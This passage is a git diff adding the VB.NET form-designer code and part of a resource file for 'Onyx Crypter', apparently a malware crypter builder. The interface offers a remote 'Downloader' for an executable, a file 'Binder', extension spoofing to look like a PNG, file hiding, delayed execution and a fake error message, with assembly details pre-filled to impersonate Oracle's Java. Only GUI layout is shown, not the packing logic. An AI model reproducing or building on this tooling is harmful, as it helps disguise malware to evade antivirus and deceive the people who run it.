System.Drawing.Point(15, 71) + Me.VTextBox4.MaxCharacters = 0 + Me.VTextBox4.Multiline = False + Me.VTextBox4.Name = "VTextBox4" + Me.VTextBox4.NoRounding = False + Me.VTextBox4.Size = New System.Drawing.Size(138, 25) + Me.VTextBox4.TabIndex = 5 + Me.VTextBox4.Text = "Oracle Corporation" + Me.VTextBox4.Transparent = False + Me.VTextBox4.UsePasswordMask = False + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label9.Location = New System.Drawing.Point(12, 11) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(99, 13) + Me.Label9.TabIndex = 4 + Me.Label9.Text = "Assembly Name" + ' + 'VTextBox3 + ' + Me.VTextBox3.AllowDrop = True + Me.VTextBox3.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox3.Customization = "" + Me.VTextBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox3.Image = Nothing + Me.VTextBox3.Location = New System.Drawing.Point(15, 27) + Me.VTextBox3.MaxCharacters = 0 + Me.VTextBox3.Multiline = False + Me.VTextBox3.Name = "VTextBox3" + Me.VTextBox3.NoRounding = False + Me.VTextBox3.Size = New System.Drawing.Size(138, 25) + Me.VTextBox3.TabIndex = 3 + Me.VTextBox3.Text = "Java(TM) Platform SE 7 U7" + Me.VTextBox3.Transparent = False + Me.VTextBox3.UsePasswordMask = False + ' + 'TabPage3 + ' + Me.TabPage3.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage3.Controls.Add(Me.VGroupBox12) + Me.TabPage3.Controls.Add(Me.VGroupBox11) + Me.TabPage3.Controls.Add(Me.VGroupBox10) + Me.TabPage3.Controls.Add(Me.VSeperator3) + Me.TabPage3.Controls.Add(Me.VGroupBox9) + Me.TabPage3.Location = New System.Drawing.Point(4, 25) + Me.TabPage3.Name = "TabPage3" + Me.TabPage3.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage3.Size = New System.Drawing.Size(785, 239) + Me.TabPage3.TabIndex = 2 + Me.TabPage3.Text = "Extra" + ' + 'VGroupBox12 + ' + Me.VGroupBox12.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox12.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox12.Controls.Add(Me.VTextBox19) + Me.VGroupBox12.Controls.Add(Me.VTextBox18) + Me.VGroupBox12.Controls.Add(Me.VCheckBox7) + Me.VGroupBox12.Customization = "" + Me.VGroupBox12.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox12.Image = Nothing + Me.VGroupBox12.Location = New System.Drawing.Point(453, 88) + Me.VGroupBox12.Movable = True + Me.VGroupBox12.Name = "VGroupBox12" + Me.VGroupBox12.NoRounding = False + Me.VGroupBox12.Sizable = True + Me.VGroupBox12.Size = New System.Drawing.Size(243, 110) + Me.VGroupBox12.SmartBounds = True + Me.VGroupBox12.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox12.TabIndex = 5 + Me.VGroupBox12.Text = "VGroupBox12" + Me.VGroupBox12.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox12.Transparent = False + ' + 'VTextBox19 + ' + Me.VTextBox19.AllowDrop = True + Me.VTextBox19.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox19.Customization = "" + Me.VTextBox19.Enabled = False + Me.VTextBox19.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox19.Image = Nothing + Me.VTextBox19.Location = New System.Drawing.Point(16, 63) + Me.VTextBox19.MaxCharacters = 0 + Me.VTextBox19.Multiline = False + Me.VTextBox19.Name = "VTextBox19" + Me.VTextBox19.NoRounding = False + Me.VTextBox19.Size = New System.Drawing.Size(210, 25) + Me.VTextBox19.TabIndex = 4 + Me.VTextBox19.Text = "Message" + Me.VTextBox19.Transparent = False + Me.VTextBox19.UsePasswordMask = False + ' + 'VTextBox18 + ' + Me.VTextBox18.AllowDrop = True + Me.VTextBox18.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox18.Customization = "" + Me.VTextBox18.Enabled = False + Me.VTextBox18.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox18.Image = Nothing + Me.VTextBox18.Location = New System.Drawing.Point(16, 29) + Me.VTextBox18.MaxCharacters = 0 + Me.VTextBox18.Multiline = False + Me.VTextBox18.Name = "VTextBox18" + Me.VTextBox18.NoRounding = False + Me.VTextBox18.Size = New System.Drawing.Size(210, 25) + Me.VTextBox18.TabIndex = 3 + Me.VTextBox18.Text = "Title" + Me.VTextBox18.Transparent = False + Me.VTextBox18.UsePasswordMask = False + ' + 'VCheckBox7 + ' + Me.VCheckBox7.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox7.Checked = False + Me.VCheckBox7.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox7.Customization = "" + Me.VCheckBox7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox7.Image = Nothing + Me.VCheckBox7.Location = New System.Drawing.Point(3, 3) + Me.VCheckBox7.Name = "VCheckBox7" + Me.VCheckBox7.NoRounding = False + Me.VCheckBox7.Size = New System.Drawing.Size(168, 20) + Me.VCheckBox7.TabIndex = 0 + Me.VCheckBox7.Text = "Fake Error Message" + Me.VCheckBox7.Transparent = True + ' + 'VGroupBox11 + ' + Me.VGroupBox11.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox11.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox11.Controls.Add(Me.VButton5) + Me.VGroupBox11.Controls.Add(Me.VTextBox17) + Me.VGroupBox11.Controls.Add(Me.VCheckBox6) + Me.VGroupBox11.Customization = "" + Me.VGroupBox11.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox11.Image = Nothing + Me.VGroupBox11.Location = New System.Drawing.Point(195, 88) + Me.VGroupBox11.Movable = True + Me.VGroupBox11.Name = "VGroupBox11" + Me.VGroupBox11.NoRounding = False + Me.VGroupBox11.Sizable = True + Me.VGroupBox11.Size = New System.Drawing.Size(243, 110) + Me.VGroupBox11.SmartBounds = True + Me.VGroupBox11.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox11.TabIndex = 3 + Me.VGroupBox11.Text = "VGroupBox11" + Me.VGroupBox11.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox11.Transparent = False + ' + 'VButton5 + ' + Me.VButton5.Colors = New Onyx.Bloom(-1) {} + Me.VButton5.Cursor = System.Windows.Forms.Cursors.Hand + Me.VButton5.Customization = "" + Me.VButton5.Enabled = False + Me.VButton5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton5.Image = Nothing + Me.VButton5.Location = New System.Drawing.Point(16, 60) + Me.VButton5.Name = "VButton5" + Me.VButton5.NoRounding = False + Me.VButton5.Size = New System.Drawing.Size(210, 28) + Me.VButton5.TabIndex = 4 + Me.VButton5.Text = "Browse" + Me.VButton5.Transparent = False + ' + 'VTextBox17 + ' + Me.VTextBox17.AllowDrop = True + Me.VTextBox17.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox17.Customization = "" + Me.VTextBox17.Enabled = False + Me.VTextBox17.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox17.Image = Nothing + Me.VTextBox17.Location = New System.Drawing.Point(16, 29) + Me.VTextBox17.MaxCharacters = 0 + Me.VTextBox17.Multiline = False + Me.VTextBox17.Name = "VTextBox17" + Me.VTextBox17.NoRounding = False + Me.VTextBox17.Size = New System.Drawing.Size(210, 25) + Me.VTextBox17.TabIndex = 3 + Me.VTextBox17.Text = " Drag 'n Drop" + Me.VTextBox17.Transparent = False + Me.VTextBox17.UsePasswordMask = False + ' + 'VCheckBox6 + ' + Me.VCheckBox6.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox6.Checked = False + Me.VCheckBox6.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox6.Customization = "" + Me.VCheckBox6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox6.Image = Nothing + Me.VCheckBox6.Location = New System.Drawing.Point(3, 3) + Me.VCheckBox6.Name = "VCheckBox6" + Me.VCheckBox6.NoRounding = False + Me.VCheckBox6.Size = New System.Drawing.Size(130, 20) + Me.VCheckBox6.TabIndex = 0 + Me.VCheckBox6.Text = "Binder" + Me.VCheckBox6.Transparent = True + ' + 'VGroupBox10 + ' + Me.VGroupBox10.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox10.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox10.Controls.Add(Me.VTextBox16) + Me.VGroupBox10.Controls.Add(Me.VCheckBox5) + Me.VGroupBox10.Customization = "" + Me.VGroupBox10.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox10.Image = Nothing + Me.VGroupBox10.Location = New System.Drawing.Point(195, 11) + Me.VGroupBox10.Movable = True + Me.VGroupBox10.Name = "VGroupBox10" + Me.VGroupBox10.NoRounding = False + Me.VGroupBox10.Sizable = True + Me.VGroupBox10.Size = New System.Drawing.Size(501, 71) + Me.VGroupBox10.SmartBounds = True + Me.VGroupBox10.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox10.TabIndex = 2 + Me.VGroupBox10.Text = "VGroupBox10" + Me.VGroupBox10.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox10.Transparent = False + ' + 'VTextBox16 + ' + Me.VTextBox16.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox16.Customization = "" + Me.VTextBox16.Enabled = False + Me.VTextBox16.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox16.Image = Nothing + Me.VTextBox16.Location = New System.Drawing.Point(16, 29) + Me.VTextBox16.MaxCharacters = 0 + Me.VTextBox16.Multiline = False + Me.VTextBox16.Name = "VTextBox16" + Me.VTextBox16.NoRounding = False + Me.VTextBox16.RightToLeft = System.Windows.Forms.RightToLeft.No + Me.VTextBox16.Size = New System.Drawing.Size(317, 25) + Me.VTextBox16.TabIndex = 1 + Me.VTextBox16.Text = "http://www.website.com/server.exe" + Me.VTextBox16.Transparent = False + Me.VTextBox16.UsePasswordMask = False + ' + 'VCheckBox5 + ' + Me.VCheckBox5.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox5.Checked = False + Me.VCheckBox5.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox5.Customization = "" + Me.VCheckBox5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox5.Image = Nothing + Me.VCheckBox5.Location = New System.Drawing.Point(3, 3) + Me.VCheckBox5.Name = "VCheckBox5" + Me.VCheckBox5.NoRounding = False + Me.VCheckBox5.Size = New System.Drawing.Size(130, 20) + Me.VCheckBox5.TabIndex = 0 + Me.VCheckBox5.Text = "Downloader" + Me.VCheckBox5.Transparent = True + ' + 'VSeperator3 + ' + Me.VSeperator3.BackColor = System.Drawing.Color.Transparent + Me.VSeperator3.Colors = New Onyx.Bloom(-1) {} + Me.VSeperator3.Customization = "" + Me.VSeperator3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VSeperator3.Image = Nothing + Me.VSeperator3.Location = New System.Drawing.Point(175, 3) + Me.VSeperator3.Name = "VSeperator3" + Me.VSeperator3.NoRounding = False + Me.VSeperator3.Orientation = System.Windows.Forms.Orientation.Vertical + Me.VSeperator3.Size = New System.Drawing.Size(14, 230) + Me.VSeperator3.TabIndex = 1 + Me.VSeperator3.Text = "VSeperator3" + Me.VSeperator3.Transparent = True + ' + 'VGroupBox9 + ' + Me.VGroupBox9.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox9.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox9.Controls.Add(Me.VTextBox15) + Me.VGroupBox9.Controls.Add(Me.VCheckBox4) + Me.VGroupBox9.Controls.Add(Me.VTextBox14) + Me.VGroupBox9.Controls.Add(Me.VCheckBox3) + Me.VGroupBox9.Controls.Add(Me.VCheckBox2) + Me.VGroupBox9.Customization = "" + Me.VGroupBox9.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox9.Image = Nothing + Me.VGroupBox9.Location = New System.Drawing.Point(6, 11) + Me.VGroupBox9.Movable = True + Me.VGroupBox9.Name = "VGroupBox9" + Me.VGroupBox9.NoRounding = False + Me.VGroupBox9.Sizable = True + Me.VGroupBox9.Size = New System.Drawing.Size(167, 187) + Me.VGroupBox9.SmartBounds = True + Me.VGroupBox9.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox9.TabIndex = 0 + Me.VGroupBox9.Text = "VGroupBox9" + Me.VGroupBox9.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox9.Transparent = False + ' + 'VTextBox15 + ' + Me.VTextBox15.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox15.Customization = "" + Me.VTextBox15.Enabled = False + Me.VTextBox15.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox15.Image = Nothing + Me.VTextBox15.Location = New System.Drawing.Point(13, 129) + Me.VTextBox15.MaxCharacters = 0 + Me.VTextBox15.Multiline = False + Me.VTextBox15.Name = "VTextBox15" + Me.VTextBox15.NoRounding = False + Me.VTextBox15.Size = New System.Drawing.Size(43, 25) + Me.VTextBox15.TabIndex = 4 + Me.VTextBox15.Text = "png" + Me.VTextBox15.Transparent = False + Me.VTextBox15.UsePasswordMask = False + ' + 'VCheckBox4 + ' + Me.VCheckBox4.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox4.Checked = False + Me.VCheckBox4.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox4.Customization = "" + Me.VCheckBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox4.Image = Nothing + Me.VCheckBox4.Location = New System.Drawing.Point(13, 104) + Me.VCheckBox4.Name = "VCheckBox4" + Me.VCheckBox4.NoRounding = False + Me.VCheckBox4.Size = New System.Drawing.Size(151, 19) + Me.VCheckBox4.TabIndex = 3 + Me.VCheckBox4.Text = "Spoof Extension" + Me.VCheckBox4.Transparent = True + ' + 'VTextBox14 + ' + Me.VTextBox14.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox14.Customization = "" + Me.VTextBox14.Enabled = False + Me.VTextBox14.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox14.Image = Nothing + Me.VTextBox14.Location = New System.Drawing.Point(13, 73) + Me.VTextBox14.MaxCharacters = 0 + Me.VTextBox14.Multiline = False + Me.VTextBox14.Name = "VTextBox14" + Me.VTextBox14.NoRounding = False + Me.VTextBox14.Size = New System.Drawing.Size(43, 25) + Me.VTextBox14.TabIndex = 1 + Me.VTextBox14.Text = "25" + Me.VTextBox14.Transparent = False + Me.VTextBox14.UsePasswordMask = False + ' + 'VCheckBox3 + ' + Me.VCheckBox3.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox3.Checked = False + Me.VCheckBox3.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox3.Customization = "" + Me.VCheckBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox3.Image = Nothing + Me.VCheckBox3.Location = New System.Drawing.Point(13, 48) + Me.VCheckBox3.Name = "VCheckBox3" + Me.VCheckBox3.NoRounding = False + Me.VCheckBox3.Size = New System.Drawing.Size(151, 19) + Me.VCheckBox3.TabIndex = 2 + Me.VCheckBox3.Text = "Delay Execution" + Me.VCheckBox3.Transparent = True + ' + 'VCheckBox2 + ' + Me.VCheckBox2.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox2.Checked = True + Me.VCheckBox2.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox2.Customization = "" + Me.VCheckBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox2.Image = Nothing + Me.VCheckBox2.Location = New System.Drawing.Point(13, 23) + Me.VCheckBox2.Name = "VCheckBox2" + Me.VCheckBox2.NoRounding = False + Me.VCheckBox2.Size = New System.Drawing.Size(128, 19) + Me.VCheckBox2.TabIndex = 1 + Me.VCheckBox2.Text = "Hide File" + Me.VCheckBox2.Transparent = True + ' + 'TabPage4 + ' + Me.TabPage4.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage4.Controls.Add(Me.VGroupBox13) + Me.TabPage4.Controls.Add(Me.VButton1) + Me.TabPage4.Controls.Add(Me.VTextBox13) + Me.TabPage4.Location = New System.Drawing.Point(4, 25) + Me.TabPage4.Name = "TabPage4" + Me.TabPage4.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage4.Size = New System.Drawing.Size(785, 239) + Me.TabPage4.TabIndex = 3 + Me.TabPage4.Text = "Build" + ' + 'VGroupBox13 + ' + Me.VGroupBox13.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox13.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox13.Controls.Add(Me.RichTextBox1) + Me.VGroupBox13.Customization = "" + Me.VGroupBox13.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox13.Image = Nothing + Me.VGroupBox13.Location = New System.Drawing.Point(6, 6) + Me.VGroupBox13.Movable = True + Me.VGroupBox13.Name = "VGroupBox13" + Me.VGroupBox13.NoRounding = False + Me.VGroupBox13.Sizable = True + Me.VGroupBox13.Size = New System.Drawing.Size(773, 182) + Me.VGroupBox13.SmartBounds = True + Me.VGroupBox13.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox13.TabIndex = 8 + Me.VGroupBox13.Text = "VGroupBox13" + Me.VGroupBox13.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox13.Transparent = False + ' + 'RichTextBox1 + ' + Me.RichTextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.RichTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.RichTextBox1.Cursor = System.Windows.Forms.Cursors.NoMoveVert + Me.RichTextBox1.ForeColor = System.Drawing.Color.DarkMagenta + Me.RichTextBox1.Location = New System.Drawing.Point(8, 7) + Me.RichTextBox1.Name = "RichTextBox1" + Me.RichTextBox1.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None + Me.RichTextBox1.Size = New System.Drawing.Size(755, 166) + Me.RichTextBox1.TabIndex = 0 + Me.RichTextBox1.Text = resources.GetString("RichTextBox1.Text") + ' + 'VButton1 + ' + Me.VButton1.Colors = New Onyx.Bloom(-1) {} + Me.VButton1.Customization = "" + Me.VButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton1.Image = Nothing + Me.VButton1.Location = New System.Drawing.Point(282, 194) + Me.VButton1.Name = "VButton1" + Me.VButton1.NoRounding = False + Me.VButton1.Size = New System.Drawing.Size(250, 25) + Me.VButton1.TabIndex = 6 + Me.VButton1.Text = "Crypt" + Me.VButton1.Transparent = False + ' + 'VTextBox13 + ' + Me.VTextBox13.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox13.Customization = "" + Me.VTextBox13.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox13.Image = Nothing + Me.VTextBox13.Location = New System.Drawing.Point(6, 194) + Me.VTextBox13.MaxCharacters = 0 + Me.VTextBox13.Multiline = False + Me.VTextBox13.Name = "VTextBox13" + Me.VTextBox13.NoRounding = False + Me.VTextBox13.Size = New System.Drawing.Size(250, 25) + Me.VTextBox13.TabIndex = 4 + Me.VTextBox13.Transparent = False + Me.VTextBox13.UsePasswordMask = False + Me.VTextBox13.Visible = False + ' + 'TabPage5 + ' + Me.TabPage5.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage5.Location = New System.Drawing.Point(4, 25) + Me.TabPage5.Name = "TabPage5" + Me.TabPage5.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage5.Size = New System.Drawing.Size(785, 239) + Me.TabPage5.TabIndex = 4 + Me.TabPage5.Text = "Scanner" + ' + 'TabPage6 + ' + Me.TabPage6.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage6.Controls.Add(Me.PictureBox2) + Me.TabPage6.Location = New System.Drawing.Point(4, 25) + Me.TabPage6.Name = "TabPage6" + Me.TabPage6.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage6.Size = New System.Drawing.Size(785, 239) + Me.TabPage6.TabIndex = 5 + Me.TabPage6.Text = "About" + ' + 'PictureBox2 + ' + Me.PictureBox2.Image = CType(resources.GetObject("PictureBox2.Image"), System.Drawing.Image) + Me.PictureBox2.Location = New System.Drawing.Point(18, 16) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(174, 164) + Me.PictureBox2.TabIndex = 0 + Me.PictureBox2.TabStop = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(817, 318) + Me.Controls.Add(Me.VTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.Text = "Onyx Crypter" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.VTheme1.ResumeLayout(False) + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.VTabControl1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.VGroupBox4.ResumeLayout(False) + Me.VGroupBox4.PerformLayout() + Me.VGroupBox2.ResumeLayout(False) + Me.VGroupBox2.PerformLayout() + Me.VGroupBox3.ResumeLayout(False) + CType(Me.PictureBox3, System.ComponentModel.ISupportInitialize).EndInit() + Me.VGroupBox1.ResumeLayout(False) + Me.VGroupBox1.PerformLayout() + Me.TabPage2.ResumeLayout(False) + Me.VGroupBox6.ResumeLayout(False) + Me.VGroupBox6.PerformLayout() + Me.VGroupBox7.ResumeLayout(False) + Me.VGroupBox7.PerformLayout() + Me.VGroupBox5.ResumeLayout(False) + Me.VGroupBox5.PerformLayout() + Me.TabPage3.ResumeLayout(False) + Me.VGroupBox12.ResumeLayout(False) + Me.VGroupBox11.ResumeLayout(False) + Me.VGroupBox10.ResumeLayout(False) + Me.VGroupBox9.ResumeLayout(False) + Me.TabPage4.ResumeLayout(False) + Me.VGroupBox13.ResumeLayout(False) + Me.TabPage6.ResumeLayout(False) + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents VTheme1 As Onyx.VTheme + Friend WithEvents VTextBox1 As Onyx.VTextBox + Friend WithEvents VTabControl1 As Onyx.VTabControl + Friend WithEvents TabPage1 As System.Windows.Forms.TabPage + Friend WithEvents TabPage2 As System.Windows.Forms.TabPage + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents TabPage3 As System.Windows.Forms.TabPage + Friend WithEvents TabPage4 As System.Windows.Forms.TabPage + Friend WithEvents TabPage5 As System.Windows.Forms.TabPage + Friend WithEvents TabPage6 As System.Windows.Forms.TabPage + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + Friend WithEvents VGroupBox1 As Onyx.VGroupBox + Friend WithEvents VButton2 As Onyx.VButton + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents VGroupBox2 As Onyx.VGroupBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents VButton3 As Onyx.VButton + Friend WithEvents VTextBox2 As Onyx.VTextBox + Friend WithEvents VGroupBox3 As Onyx.VGroupBox + Friend WithEvents PictureBox3 As System.Windows.Forms.PictureBox + Friend WithEvents VSeperator1 As Onyx.VSeperator + Friend WithEvents VRadiobutton1 As Onyx.VRadiobutton + Friend WithEvents VRadiobutton2 As Onyx.VRadiobutton + Friend WithEvents VGroupBox4 As Onyx.VGroupBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents VGroupBox6 As Onyx.VGroupBox + Friend WithEvents VSeperator2 As Onyx.VSeperator + Friend WithEvents VGroupBox5 As Onyx.VGroupBox + Friend WithEvents VButton4 As Onyx.VButton + Friend WithEvents Label15 As System.Windows.Forms.Label + Friend WithEvents VTextBox9 As Onyx.VTextBox + Friend WithEvents Label14 As System.Windows.Forms.Label + Friend WithEvents VTextBox8 As Onyx.VTextBox + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents VTextBox7 As Onyx.VTextBox + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents VTextBox6 As Onyx.VTextBox + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents VTextBox5 As Onyx.VTextBox + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents VTextBox4 As Onyx.VTextBox + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents VTextBox3 As Onyx.VTextBox + Friend WithEvents Label16 As System.Windows.Forms.Label + Friend WithEvents GhostComboBox1 As Onyx.GhostComboBox + Friend WithEvents VCheckBox1 As Onyx.VCheckBox + Friend WithEvents VGroupBox7 As Onyx.VGroupBox + Friend WithEvents Label20 As System.Windows.Forms.Label + Friend WithEvents VTextBox10 As Onyx.VTextBox + Friend WithEvents VTextBox12 As Onyx.VTextBox + Friend WithEvents Label17 As System.Windows.Forms.Label + Friend WithEvents VTextBox11 As Onyx.VTextBox + Friend WithEvents Label18 As System.Windows.Forms.Label + Friend WithEvents VTextBox13 As Onyx.VTextBox + Friend WithEvents VGroupBox12 As Onyx.VGroupBox + Friend WithEvents VTextBox18 As Onyx.VTextBox + Friend WithEvents VCheckBox7 As Onyx.VCheckBox + Friend WithEvents VGroupBox11 As Onyx.VGroupBox + Friend WithEvents VButton5 As Onyx.VButton + Friend WithEvents VTextBox17 As Onyx.VTextBox + Friend WithEvents VCheckBox6 As Onyx.VCheckBox + Friend WithEvents VGroupBox10 As Onyx.VGroupBox + Friend WithEvents VTextBox16 As Onyx.VTextBox + Friend WithEvents VCheckBox5 As Onyx.VCheckBox + Friend WithEvents VSeperator3 As Onyx.VSeperator + Friend WithEvents VGroupBox9 As Onyx.VGroupBox + Friend WithEvents VTextBox15 As Onyx.VTextBox + Friend WithEvents VCheckBox4 As Onyx.VCheckBox + Friend WithEvents VTextBox14 As Onyx.VTextBox + Friend WithEvents VCheckBox3 As Onyx.VCheckBox + Friend WithEvents VCheckBox2 As Onyx.VCheckBox + Friend WithEvents VTextBox19 As Onyx.VTextBox + Friend WithEvents ListView1 As System.Windows.Forms.ListView + Friend WithEvents VButton1 As Onyx.VButton + Friend WithEvents VGroupBox13 As Onyx.VGroupBox + Friend WithEvents VButton6 As Onyx.VButton + Friend WithEvents VRadiobutton4 As Onyx.VRadiobutton + Friend WithEvents VRadiobutton3 As Onyx.VRadiobutton + Friend WithEvents RichTextBox1 As System.Windows.Forms.RichTextBox + +End Class diff --git a/scode (onxyCrypter/builder/builder/Form1.resx b/scode (onxyCrypter/builder/builder/Form1.resx new file mode 100644 index 0000000..30ceb18 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/Form1.resx @@ -0,0 +1,2183 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADrwAAA68AZW8ckkAAAcPSURBVHhe7VtbbBRVGF41kXhB0RdeDA9SOpetvBiVB3hQ + YoIBg4kgc992KTWoGCIQEmOy7Fz20rJyKT5UKPpiFEp3KzRGgpIoJkYNAioRr0F88AEBjShNLIz/d/ZM + 2XZnBR+6cZr5k6/bzpw5+3/f+c//n92ek5hoc42e20Qjb0lm7k1JtY+26u5pQffO0WukwHxWnZ/AAVxE + PZeSl2du5zTDTVSyi0WrcDzZvtlv6yj5yVS3L1sFXzbzBLxGCeQz+Q4OjEvHZl/S8ydExV3M6Y43Sd20 + WrZyoyAv6R7BnWLwfHADR1HNPsNpV03S3MckyxtNWsWxB6BgW7pEeJkhmbp6byKYyrwd1MazYe1kI8dG + YqzP9h5fMporNjgyEXQeCUK6OF1UnFPVkeeN4JjmnpV0p4/wIv2eFxT75ESHGaFUjy+q7qfUocPaqu7r + NPf+hChBO9YnBNSyV0TVGUA7UXMzkuIcZg41EGyyAK6tuvNti565IyHqTqqNzY8qMZAEIVn3ZKYQt3uW + Ze4W9NwuEEY7mYSQWcR4uXnLSrfwZswkI/uQZOROyVwEtKOk9Eur4iziTQK7gcR9XjK9UYgZODj5oOlA + 